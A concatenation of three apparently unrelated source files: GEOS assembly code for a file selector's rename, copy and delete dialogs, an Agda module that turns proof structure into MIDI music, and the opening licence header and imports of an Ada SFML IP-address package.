; mov ax, MSG_GEN_FILE_SELECTOR_RESCAN
; Assert objectPtr dssi, OLFileSelectorClass
; call ObjCallInstanceNoLock
done:
pop si ; pop self lptr (not used)
.leave
ret
OLFileSelectorRename endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorContinueRename
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Continue the rename procedure.
CALLED BY: OLFileSelectorRename
PASS: *ds:si = instance data of OLFileSelectorClass
ss:bp = new file name string (null-terminated)
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 12/ 1/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorContinueRename proc near
uses ax, bx, cx, dx, si, bp
.enter
Assert objectPtr dssi, GenFileSelectorClass
;
; Go to the correct dir. before we rename the file.
;
if TURN_OFF_BUSY_ON_DOC_CTRL_DIALOG
call OLDocMarkBusyOnly
else
call OLDocMarkBusy
endif
call FilePushDir
if DC_DISALLOW_SPACES_FILENAME
;
; check for trailing or leading spaces
;
call CheckSpacesFilename
jnc noError
mov ax, SDBT_FILE_ILLEGAL_NAME ; in case error
mov cx, ss ; cx:dx = name
mov dx, bp
call CallUserStandardDialog
jmp short continue
noError:
endif
mov ax, ATTR_GEN_PATH_DATA
mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE
call GenPathSetCurrentPathFromObjectPath
EC < ERROR_C ERROR_DISK_UNAVAILABLE >
;
; Get the filename that we want to change, and rename it.
;
call OLFileSelectorGetFileName ;es:di = old filename
;^hbx =filename block
EC < tst bx >
EC < ERROR_Z -1 >
push bx ;save for unlock later
push ds, si
segmov ds, es
mov dx, di ;ds:dx = old name
segmov es, ss
mov di, bp ;es:di = new name
call FileRename
pop ds, si
pop bx
call MemUnlock
jc error
;; call SendCompleteUpdateToDC
continue:
if TURN_OFF_BUSY_ON_DOC_CTRL_DIALOG
call OLDocMarkNotBusyOnly
else
call OLDocMarkNotBusy
endif
call FilePopDir
.leave
ret
error:
cmp ax, ERROR_FILE_EXISTS
mov ax, SDBT_RENAME_FILE_EXISTS
jz gotErrorCode
mov ax, SDBT_RENAME_ERROR
gotErrorCode:
movdw cxdx, esdi ;cxdx = file name
call CallUserStandardDialog
jmp continue
OLFileSelectorContinueRename endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorCopy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Duplicate the selected file.
CALLED BY: MSG_OL_FILE_SELECTOR_COPY
PASS: *ds:si = OLFileSelectorClass object
ds:di = OLFileSelectorClass instance data
es = segment of OLFileSelectorClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 3/ 7/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorCopy method dynamic OLFileSelectorClass,
MSG_OL_FILE_SELECTOR_COPY
uses cx, dx, bp
.enter
;
; Get the selected file name
;
call OLFileSelectorGetFileName ;^hbx = filename block
;es:di = filename
push si ; save self lptr
tst bx ;Got filename?
LONG jz done
push bx ;save for unlock later
;
; Create the dialog so that the user can rename the file.
;
push ds:[LMBH_handle]
mov bx, handle CopyDialog
mov si, offset CopyDialog
call UserCreateDialog
mov ax, bx ;ax = dup block
pop bx
call MemDerefDS ;STOFFT uses FIXUP_DS
mov bx, ax ;bx = dup block
mov si, offset CopyText
mov ax, mask GDCA_VM_FILE
call SetTextObjectForFileType
;
; Put the original file name into the dialog box, and bring it up.
;
movdw dxbp, esdi
clr cx
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
mov ax, MSG_VIS_TEXT_SELECT_ALL
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
;
; Have to unlock this block here. Otherwise, a detach could occur
; during the UserDoDialog, whish would free the block. Then we'd
; try to free it later.
;
mov si, bx ;^hsi <- copy db handle
pop bx ;^hbx = file buff block
call MemUnlock
mov bx, si ;^hbx <- copy db handle
push ds:[LMBH_handle]
mov si, offset CopyDialog
call UserDoDialog
mov bp, bx ;^hbp = dialog block
pop bx ;^hbx= FileSelector blk
call MemDerefDS
;
; Get the new file name if any
;
mov bx, bp ;^hbx = dialog block
cmp ax, IC_APPLY ;Really rename?
stc ;assume not
jnz destroyAndDone
sub sp, FileLongName
mov bp, sp
mov dx, ss ;dx:bp = filename buff
mov cx, FileLongName
mov ax, MSG_VIS_TEXT_GET_ALL_PTR
mov si, offset CopyText
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage ;dx:bp = new name
;ax,cx trashed
clc ;continue operation
destroyAndDone:
;
; Destroy the dialog because we don't need it anymore.
; carry set to skip operation
;
pushf ;save continue flag
push ds:[LMBH_handle]
mov si, offset CopyDialog
call UserDestroyDialog
pop bx ;^hbx= FileSelector blk
call MemDerefDS
popf
jc done
;
; Start rename
;
mov si, ss:[bp + size FileLongName] ; *ds:si = self
Assert objectPtr, dssi, OLFileSelectorClass
call OLFileSelectorContinueCopy
add sp, FileLongName ;restore stack
;
; Rescan the dir becuase the name of the file has changed.
;
;no need for this as file change notification handles it
; mov ax, MSG_GEN_FILE_SELECTOR_RESCAN
; Assert objectPtr dssi, OLFileSelectorClass
; call ObjCallInstanceNoLock
done:
pop si ; pop self lptr (not used)
.leave
ret
OLFileSelectorCopy endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorContinueCopy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Continue the duplicating file operation.
CALLED BY: OLFileSelectorCopy
PASS: *ds:si = instance data of OLFileSelectorClass
ss:bp = new file name string (null-terminated)
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 3/ 7/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorContinueCopy proc near
uses ax, bx, cx, dx, si, bp
.enter
Assert objectPtr dssi, GenFileSelectorClass
;
; Go to the correct dir. before we duplicate the file.
;
if TURN_OFF_BUSY_ON_DOC_CTRL_DIALOG
call OLDocMarkBusyOnly
else
call OLDocMarkBusy
endif
call FileBatchChangeNotifications
call FilePushDir
if DC_DISALLOW_SPACES_FILENAME
;
; check for trailing or leading spaces
;
call CheckSpacesFilename
jnc noError
mov ax, SDBT_FILE_ILLEGAL_NAME ; in case error
mov cx, ss ; cx:dx = name
mov dx, bp
call CallUserStandardDialog
clc ; already reported
jmp short afterError
noError:
endif
mov ax, ATTR_GEN_PATH_DATA
mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE
call GenPathSetCurrentPathFromObjectPath
EC < ERROR_C ERROR_DISK_UNAVAILABLE >
;
; Get the filename that we want to change, and duplicate it.
;
call OLFileSelectorGetFileName ;es:di = old filename
;^hbx =filename block
EC < tst bx >
EC < ERROR_Z OL_ERROR >
push bx ;save for unlock later
push ds, si
;
; Before we do the FileCopy, we need to make sure that the new name
; doesn't equal to any of the existing files.
;
segmov ds, ss, ax
mov dx, bp ;ds:dx = new name
call FileGetAttributes ;carry set -> file not found
;ax,cx trashed
cmc
jc afterCopy
;
; now copy is safe.
;
segmov ds, es
mov si, di ;ds:si = old name
segmov es, ss
mov di, bp ;es:di = new name
clr cx, dx ;default disk handle
call FileCopy
afterCopy:
pop ds, si
pop bx
call MemUnlock
afterError::
if TURN_OFF_BUSY_ON_DOC_CTRL_DIALOG
call OLDocMarkNotBusyOnly ;flags preserved
else
call OLDocMarkNotBusy ;flags preserved
endif
jc error
continue:
call FileFlushChangeNotifications
call FilePopDir
.leave
ret
error:
mov ax, offset copyFailed
clr cx, di
call CallErrorDialog
jmp continue
OLFileSelectorContinueCopy endp
endif ; _JEDIMOTIF or _DUI
if _DUI
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorDeleteSelection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Delete the current selected file in the file selector.
CALLED BY: MSG_GEN_FILE_SELECTOR_DELETE_SELECTION
PASS: *ds:si = OLFileSelectorClass object
ds:di = OLFileSelectorClass instance data
es = segment of OLFileSelectorClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 1/19/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorDeleteSelection method dynamic OLFileSelectorClass,
MSG_GEN_FILE_SELECTOR_DELETE_SELECTION
uses cx, dx, bp
.enter
;
; Set the correct path before executing the delete file operations
;
call FilePushDir
mov ax, ATTR_GEN_PATH_DATA
mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE
call GenPathSetCurrentPathFromObjectPath
;
; Do we have any files?
;
tst ds:[di].OLFSI_numFiles
jz done ;done if none
;
; Check to see if we are trying to delete the file in ROM.
;
call IsDeletingROMFile
jc done
;
; Create the dialog to ask user for confirmation.
;
push ds:[LMBH_handle], si
mov bx, handle DeleteDialog
mov si, offset DeleteDialog
call UserCreateDialog
mov ax, SST_WARNING
call UserStandardSound
call UserDoDialog
call UserDestroyDialog
pop bx, si ;^lbx:si = self
call MemDerefDS
cmp ax, IC_APPLY
jnz done
;
; Start delete. After it is done, rescan the directory again.
;
call OLFileSelectorContinueDelete
;no need for this as file change notification handles it
; mov ax, MSG_GEN_FILE_SELECTOR_RESCAN
; Assert objectPtr dssi, OLFileSelectorClass
; call ObjCallInstanceNoLock
done:
call FilePopDir
.leave
ret
OLFileSelectorDeleteSelection endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorContinueDelete
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Continue the process of deleting the file.
CALLED BY: OLFileSelectorDelete
PASS: *ds:si = instance data of OLFileSelectorClass
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 1/19/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorContinueDelete proc near
uses ax, bx, cx, dx, bp, di, es
.enter
Assert objectPtr dssi, GenFileSelectorClass
if TURN_OFF_BUSY_ON_DOC_CTRL_DIALOG
call OLDocMarkBusyOnly
else
call OLDocMarkBusy
endif
;
; Get the name of the selected file which we wanted to delete.
;
call OLFileSelectorGetFileName ;es:di = old filename
;^hbx = filename block
EC < tst bx >
EC < ERROR_Z -1 >
push bx ;save for unlock later
push ds, si
segmov ds, es, ax
mov dx, di ;ds:dx = old name
call FileDelete
pop ds, si
if TURN_OFF_BUSY_ON_DOC_CTRL_DIALOG
call OLDocMarkNotBusyOnly ;preserves flags
else
call OLDocMarkNotBusy ;preserves flags
endif
jc error
continue:
;
; Ready to exit, unlock the block and reset the cursor.
;
pop bx
call MemUnlock
.leave
ret
;
; This part is to handle any error happened during deleting the file.
;
error:
;; movdw cxdx, esdi ;cxdx = file name
mov_tr cx, ax ;cx = error msg
mov ax, offset fileNotFound
cmp cx, ERROR_FILE_NOT_FOUND
je gotErrorMsg
mov ax, offset fileInUse
cmp cx, ERROR_FILE_IN_USE
je gotErrorMsg
mov ax, offset fileAccessDenied
cmp cx, ERROR_WRITE_PROTECTED
je gotErrorMsg
cmp cx, ERROR_ACCESS_DENIED
je gotErrorMsg
;
; Jeez, what the heck happened?
;
mov ax, offset deleteFailed
gotErrorMsg:
mov cx, es
call CallErrorDialog ;trashed ax
jmp continue
OLFileSelectorContinueDelete endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IsDeletingROMFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to see if we are trying to delete the file in ROM.
CALLED BY: OLFileSelectorDeleteSelection
PASS: *ds:si = instance data of OLFileSelectorClass
RETURN: carry set = the selected file is in ROM
or no selection
carry clear = the selected file is not in ROM
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 1/11/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IsDeletingROMFile proc near
uses ax, bx, cx, dx, di, es
.enter
Assert objectPtr dssi, GenFileSelectorClass
;
; Get the name of the selected file which we wanted to delete.
;
call OLFileSelectorGetFileName ;es:di = filename
;^hbx = filename block
tst bx
stc ;assume no selection
jz done
push bx ;save for unlock later
push ds, si
mov dx, di
segmov ds, es, ax ;ds:dx = filename
push ax ;creating buffer
segmov es, ss, ax
mov di, sp ;es:di = buffer
mov ax, FEA_FILE_ATTR
mov cx, size FileAttrs
call FileGetPathExtAttributes
EC < ERROR_C -1 >
pop ax ;ax = FileAttrs
pop ds, si ;*ds:si = file selector
pop bx ;^hbx = filename block
call MemUnlock
;
; If it is the file in ROM, then inform the user.
;
test ax, mask FA_RDONLY
jz done ;jump if writable
;
; Bring the dialog box to inform the user.
;
push ds:[LMBH_handle], si
mov bx, handle DeleteRomDialog
mov si, offset DeleteRomDialog
call UserCreateDialog
mov ax, SST_WARNING
call UserStandardSound
call UserDoDialog
call UserDestroyDialog
pop bx, si
call MemDerefDS ;ds = updated
stc
done:
.leave
ret
IsDeletingROMFile endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CallErrorDialog
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Inform the user of the error occured during the operation.
CALLED BY: OLFileSelectorContinueDelete()
PASS: ax = chunk handle of the error string.
cx:di = file name to be displayed OR cx = di = 0
RETURN: nothing
DESTROYED: ax, di, es
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 1/23/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CallErrorDialog proc near
uses bx
.enter
;
; Create an error dialog.
;
clr bx
xchg bx, ax ;bx = chunk handle of str
push ax, ax ;SDP_helpContext
push ax, ax ;SDP_customTriggers
push ax, ax ;SDP_stringArg2
pushdw cxdi ;SDP_stringArg1
mov di, bx
mov bx, handle DocumentStringsUI ;^lbx:di = error str
call MemLock ;ax = str block
mov es, ax
mov di, es:[di] ;es:di = str
pushdw esdi ;SDP_customString
mov ax, CustomDialogBoxFlags<0, CDT_ERROR, GIT_NOTIFICATION,0>
push ax ;SDP_customFlags
call UserStandardDialog
call MemUnlock
.leave
ret
CallErrorDialog endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorGetFileName
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the name of the selected file in the FileSelector
CALLED BY: INTERNAL
PASS: *ds:si = instance of OLFileSelectorClass
RETURN: es:di = filename str (null terminated)
^hbx = block which contains the filename pointed by es:di
DESTROYED: nothing
SIDE EFFECTS:
The caller is supposed to unlock the block that contains the
string.
ds may be updated.
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 12/ 1/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorGetFileName proc near
uses ax, cx, dx, bp, si
.enter
Assert objectPtr dssi, OLFileSelectorClass
;
; Find out which file is selected. If there is no file selected,
; in the meantime, we just quit.
;
if _DUI
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
else
mov ax, MSG_TABLE_GET_CURRENT_SELECTION
endif
mov di, offset OLFileSelectorFileList
call OLFSCallUIBlockGadget ;ax = row selection
;cx,dx,bp trashed
;
; Having found the selected file, we need to get its name
;
if _DUI
mov bx, 0 ;assume null blockH
;(preserves flags)
jc quit ; none selected
cmp ax, GIGS_NONE
je quit ; none selected
mov cx, ax ; cx = current sel.
else
clr bx ;assume null blockH
endif
mov di, ds:[si]
add di, ds:[di].OLFileSelector_offset
cmp cx, ds:[di].OLFSI_numFiles ;beyond end of file?
jae quit
tst ds:[di].OLFSI_fileBuffer ;null block handle?
jz quit
call OLFSDerefIndexBuffer ;si= offset in file buf
mov bx, ds:[di].OLFSI_fileBuffer ;^bx = file buff block
call MemLock
mov es, ax ;es:si = file buf entry
add si, offset OLFSE_name ;es:si = file name
mov di, si ;es:di = file name
quit:
.leave
ret
OLFileSelectorGetFileName endp
endif ; _JEDIMOTIF or _DUI
if _ISUI
;
; taken from shell library
;
COMMENT @-------------------------------------------------------------------
FileComparePathsEvalLinks
----------------------------------------------------------------------------
DESCRIPTION: Takes two paths that may contain links and evaluates both
before calling FileComparePaths on them.
CALLED BY: GLOBAL
PASS: cx - disk handle of path 1
ds:si - pathname #1
dx - disk handle of path #2
es:di - pathname #2
RETURN: carry:
- set on error,
ax = FileError or PCT_ERROR
(if failed in FileComparePaths)
- clear if completed,
al - PathCompareType
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dlitwin 11/1/92 Initial version
---------------------------------------------------------------------------@
OLFSFileComparePathsEvalLinks proc near
uses bx, cx, dx, si, di, ds, es
path2 local fptr push es, di
diskHandle2 local word push dx
diskHandle1 local word
.enter
if ERROR_CHECK
;
; Validate that path 1 is not in a movable code segment
;
FXIP< push bx, si >
FXIP< mov bx, ds >
FXIP< call ECAssertValidFarPointerXIP >
;
; Validate that path 2 is not in a movable code segment
;
FXIP< mov bx, es >
FXIP< mov si, di >
FXIP< call ECAssertValidFarPointerXIP >
FXIP< pop bx, si >
endif
call OLFSShellAlloc2PathBuffers
mov di, offset PB2_path1
clr dx ; no <drivename:> neccessary
mov bx, cx ; bx, ds:si is path to evaluate
mov cx, size PathName
call FileConstructActualPath
jc done
mov ss:[diskHandle1], bx
mov bx, ss:[diskHandle2]
lds si, ss:[path2]
mov di, offset PB2_path2
push di
call FileConstructActualPath
pop di
jc done
mov dx, bx ; dx, es:di is path 2
mov cx, ss:[diskHandle1]
segmov ds, es
mov si, offset PB2_path1
call FileComparePaths
done:
call OLFSShellFreePathBuffer
.leave
ret
OLFSFileComparePathsEvalLinks endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ShellFreePathBuffer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Free a path buffer allocated by either
ShellAllocPathBuffer or ShellAlloc2PathBuffers
CALLED BY:
PASS: es - segment of path buffer
RETURN: nothing
DESTROYED: nothing, flags preserved
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 11/11/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSShellFreePathBuffer proc near
uses bx
.enter
pushf
mov bx, es:[PB_handle]
call MemFree
popf
.leave
ret
OLFSShellFreePathBuffer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ShellAlloc2PathBuffers
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Allocate a buffer for 2 paths on the heap
CALLED BY:
PASS: nothing
RETURN: es:0 - PathBuffer2 structure (es:0 is the handle)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 11/11/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSPathBuffer struct
PB_handle hptr.PathBuffer
PB_path PathName <>
OLFSPathBuffer ends
OLFSPathBuffer2 struct
PB2_handle hptr.PathBuffer2
PB2_path1 PathName <>
PB2_path2 PathName <>
OLFSPathBuffer2 ends
OLFSShellAlloc2PathBuffers proc near
uses ax
.enter
mov ax, size OLFSPathBuffer2
call OLFSAllocCommon
.leave
ret
OLFSShellAlloc2PathBuffers endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AllocCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Common routine to allocate the desired buffer
CALLED BY: ShellAllocPathBuffer, ShellAlloc2PathBuffers
PASS:
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 11/11/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSAllocCommon proc near
uses bx, cx
.enter
mov cx, (mask HAF_ZERO_INIT shl 8) or ALLOC_DYNAMIC_NO_ERR_LOCK
call MemAlloc
mov es, ax
mov es:[PB_handle], bx
.leave
ret
OLFSAllocCommon endp
endif
FileSelector ends
|
Soundness/agda/Soundness.agda | halfaya/Music | 1 | 3026 | {-# OPTIONS --without-K --erased-cubical --no-import-sorts #-}
module Soundness where
open import Prelude
open import Instruments
open import MakeTracks using (makeTrackList)
open import Motif using (motif; levels)
open import SUtil
----------------
macro
getDef : Name → Term → TC ⊤
getDef n h = do
d ← getDefinition n
t ← quoteTC d
unify h t
record Line : Type where
constructor line
field
lhs : List Name
rhs : List Name
open Line
Proof : Type
Proof = List Line
-- Get only visible constructor names
getNamesP : List (Arg Pattern) → List Name
getNamesP [] = []
getNamesP (arg (arg-info v m) (Pattern.dot t) ∷ ps) = getNamesP ps
getNamesP (arg (arg-info v m) (Pattern.var x₁) ∷ ps) = getNamesP ps
getNamesP (arg (arg-info v m) (Pattern.lit l) ∷ ps) = getNamesP ps
getNamesP (arg (arg-info v m) (Pattern.proj f) ∷ ps) = getNamesP ps
getNamesP (arg (arg-info v m) (Pattern.absurd x₁) ∷ ps) = getNamesP ps
getNamesP (arg (arg-info hidden m) (Pattern.con n _) ∷ ps) = getNamesP ps
getNamesP (arg (arg-info instance′ m) (Pattern.con n _) ∷ ps) = getNamesP ps
getNamesP (arg (arg-info visible m) (Pattern.con n _) ∷ ps) = n ∷ getNamesP ps
{-# TERMINATING #-}
getNamesT : Term → List Name
getNamesAT : Arg Term → List Name
getNamesT (con n args) = n ∷ concatMap getNamesAT args
getNamesT (def n args) = n ∷ concatMap getNamesAT args
getNamesT (var x₁ args) = concatMap getNamesAT args
getNamesT (pat-lam cs args) = concatMap getNamesAT args
getNamesT (lam v t) = []
getNamesT (pi a b) = []
getNamesT (agda-sort s) = []
getNamesT (lit l) = []
getNamesT (meta x₁ x₂) = []
getNamesT unknown = []
getNamesAT (arg i t) = getNamesT t
getNamesC : Clause → Line
getNamesC (Clause.clause tel ps t) = line (getNamesP ps) (getNamesT t)
getNamesC (Clause.absurd-clause tel ps) = line (getNamesP ps) []
getNamesD : Definition → List Line
getNamesD (function cs) = map getNamesC cs
getNamesD (data-type pars cs) = []
getNamesD (record-type c fs) = []
getNamesD (data-cons d) = []
getNamesD axiom = []
getNamesD prim-fun = []
----------------
data TopLevel : Type where
s↑ : TopLevel
s↓ : TopLevel
sc↑ : TopLevel
sc↓ : TopLevel
sct↑ : TopLevel
sct↓ : TopLevel
topLevelName : TopLevel → Name
topLevelName s↑ = quote soundness~↑
topLevelName s↓ = quote soundness~↓
topLevelName sc↑ = quote soundnessConv↑
topLevelName sc↓ = quote soundnessConv↓
topLevelName sct↑ = quote soundnessConv↑Term
topLevelName sct↓ = quote soundnessConv↓Term
isTopLevel : Name → Maybe TopLevel
isTopLevel n =
if n == quote soundness~↑ then just s↑
else if n == quote soundness~↓ then just s↓
else if n == quote soundnessConv↑ then just sc↑
else if n == quote soundnessConv↓ then just sc↓
else if n == quote soundnessConv↑Term then just sct↑
else if n == quote soundnessConv↓Term then just sct↓
else nothing
topLevelDef : TopLevel → Definition
topLevelDef s↑ = getDef soundness~↑
topLevelDef s↓ = getDef soundness~↓
topLevelDef sc↑ = getDef soundnessConv↑
topLevelDef sc↓ = getDef soundnessConv↓
topLevelDef sct↑ = getDef soundnessConv↑Term
topLevelDef sct↓ = getDef soundnessConv↓Term
topLevelProof : TopLevel → Proof
topLevelProof = getNamesD ∘ topLevelDef
---------------
-- Number of tracks to create
tracks : ℕ
tracks = 4
{-# TERMINATING #-}
-- First argument n is current level (0 is bottom level; no recursive calls allowed)
-- Second argument m is exponent for doubling speed (2^m)
proof→notes : ℕ → ℕ → TopLevel → List (List Note)
line→notes : ℕ → ℕ → Line → List (List Note)
names→notes : ℕ → ℕ → List Name → List (List Note)
-- starts with proof name
proof→notes n m t =
zipFull (2ⁿSpeed m (motif (topLevelName t)) ∷ [])
(concatMap (line→notes n m) (topLevelProof t))
-- just use rhs for now
line→notes n m (line lhs rhs) = names→notes n m rhs
names→notes _ m [] = [] ∷ []
names→notes zero m ns@(_ ∷ _) = 2ⁿSpeed m (concatMap motif ns) ∷ []
names→notes (suc k) m (n ∷ ns) with isTopLevel n
... | just t = proof→notes k (suc m) t ++ names→notes (suc k) m ns
... | nothing = (2ⁿSpeed m (motif n) ∷ []) ++ names→notes (suc k) m ns
proof→notesTop : ℕ → TopLevel → List (List Note)
proof→notesTop level = proof→notes level 0
---------------
instruments : Vec InstrumentNumber-1 maxChannels
instruments =
drawbarOrgan ∷ -- 1
piano ∷ -- 2
electricPiano1 ∷ -- 3
churchOrgan ∷ -- 4
piano ∷ -- 5
piano ∷ -- 6
piano ∷ -- 7
piano ∷ -- 8
piano ∷ -- 9
drums ∷ -- 10 (percussion)
piano ∷ -- 11
piano ∷ -- 12
piano ∷ -- 13
piano ∷ -- 14
piano ∷ -- 15
piano ∷ -- 16
[]
music : Vec (List Note) tracks
music = foldIntoVector (proof→notesTop levels s↑)
tempo : ℕ
tempo = 160
soundTracks : List MidiTrack
soundTracks = makeTrackList instruments tempo music
|
include/sf-network-ipaddress.adb | danva994/ASFML-1.6 | 1 | 8732 | -- ////////////////////////////////////////////////////////////
-- //
-- // SFML - Simple and Fast Multimedia Library
-- // Copyright (C) 2007-2009 <NAME> (<EMAIL>)
-- //
-- // This software is provided 'as-is', without any express or implied warranty.
-- // In no event will the authors be held liable for any damages arising from the use of this software.
-- //
-- // Permission is granted to anyone to use this software for any purpose,
-- // including commercial applications, and to alter it and redistribute it freely,
-- // subject to the following restrictions:
-- //
-- // 1. The origin of this software must not be misrepresented;
-- // you must not claim that you wrote the original software.
-- // If you use this software in a product, an acknowledgment
-- // in the product documentation would be appreciated but is not required.
-- //
-- // 2. Altered source versions must be plainly marked as such,
-- // and must not be misrepresented as being the original software.
-- //
-- // 3. This notice may not be removed or altered from any source distribution.
-- //
-- ////////////////////////////////////////////////////////////
-- ////////////////////////////////////////////////////////////
-- // Headers
-- ////////////////////////////////////////////////////////////
with Interfaces.C.Strings;
package body Sf.Network.IPAddress is
use Interfaces.C.Strings;
